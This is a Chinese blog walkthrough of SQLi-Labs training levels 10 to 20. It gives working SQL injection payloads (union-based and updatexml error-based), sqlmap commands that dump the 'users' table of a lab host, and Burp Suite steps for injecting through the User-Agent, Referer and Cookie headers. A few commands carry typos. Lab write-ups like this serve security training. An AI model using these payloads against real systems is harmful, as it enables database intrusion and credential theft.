sqllabs 10到20关解法

  • 11-15 关为联合查询
    1. 判断闭合符号,看是否存在注入点
    2. 根据报错提示 得出 闭合符号为 ‘
    3. 判断数据列数  为 2
    1. 使用 # 号进行注释 因为 # 注释在  没有与注释内容之间没有空格的地方也生效 , 而 -- 注释 必须又有空格 隔开注释内容
    2. 使用联合查询
      1. 查询表
        1. 1 ' union select (select group_concat(table_name) from information_schema.tables where table_schema =database() ),version()#
      1. 查询列
        1. 1 ' union select (select group_concat(column_name) from information_schema.columns where table_schema =database()and table_name ='users' ),version()#
      1. 查询数据
        1. 1 ' union select (select group_concat(username,0x7e,passworld) from security.users ),version()#
  • 15-16 使用sqlmap实现注入 或者使用布尔盲注
    1. 上传数据爆破数据库
      1. ​
        sqlmap -u http://192.168.124.53/sqllabs/Less-15/ --data "uname=1&passwd=11&Submit=submit" --dbs --batch
    1. 爆破表
      1. 
        sqlmap -u http://192.168.124.53/sqllabs/Less-15/ --data "uname=1&passwd=11&Submit=submit" -D 'security'  -tables  --batch
    2. 爆破列
      1. sqlmap -u http://192.168.124.53/sqllabs/Less-15/ --data "uname=1&passwd=11&Submit=submit" -D 'security'  -T 'users' -coulmns  --batch
    3. 爆破数据
      1. ​sqlmap -u http://192.168.124.53/sqllabs/Less-15/ --data "uname=1&passwd=11&Submit=submit" -D 'security'  -T 'users' -C 'uusername ,passworld' --dump --batch
        ​
  • 17-20 关 使用报错注入 (报错注入的点不同)
    1. 17关报错注入点为 密码输入栏  而且账号要 正确
      1. 报错注入表
        1. 123'  and (updatexml(1,(select group_concat(table_name) from information_schema.tables where table_schema ='security'),1)) #
      2. 报错注入列
        1. 123'  and (updatexml(1,(select group_concat(column_name) from information_schema.columns where table_schema ='security' and table_name='users'),1)) #
    1. 18 关报错点 为 user agent (需要 正确输入密码 和账号)
      1. 通过 burpsuite 抓包
        1. 火狐浏览器抓包
          1. 在 设置  中 网络设置 
        1.  burpsuite 设置
          1. 若还不能抓包 在 火狐浏览器 搜索 about:config 后 搜索  network.proxy.allow_hijacking_localhost  改为 true
          2. 发送给重发器 对 user agent 进行修改
          3. 根据17关报错流程 依次注入
      1. 19关 注入点 为 referer( 需要 正确输入密码 和账号) 和 18关一样
      2. 20关 注入点 cookie( 需要 正确输入密码 和账号)和 18关一样
  • 评论点赞,一起探讨吧!
  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值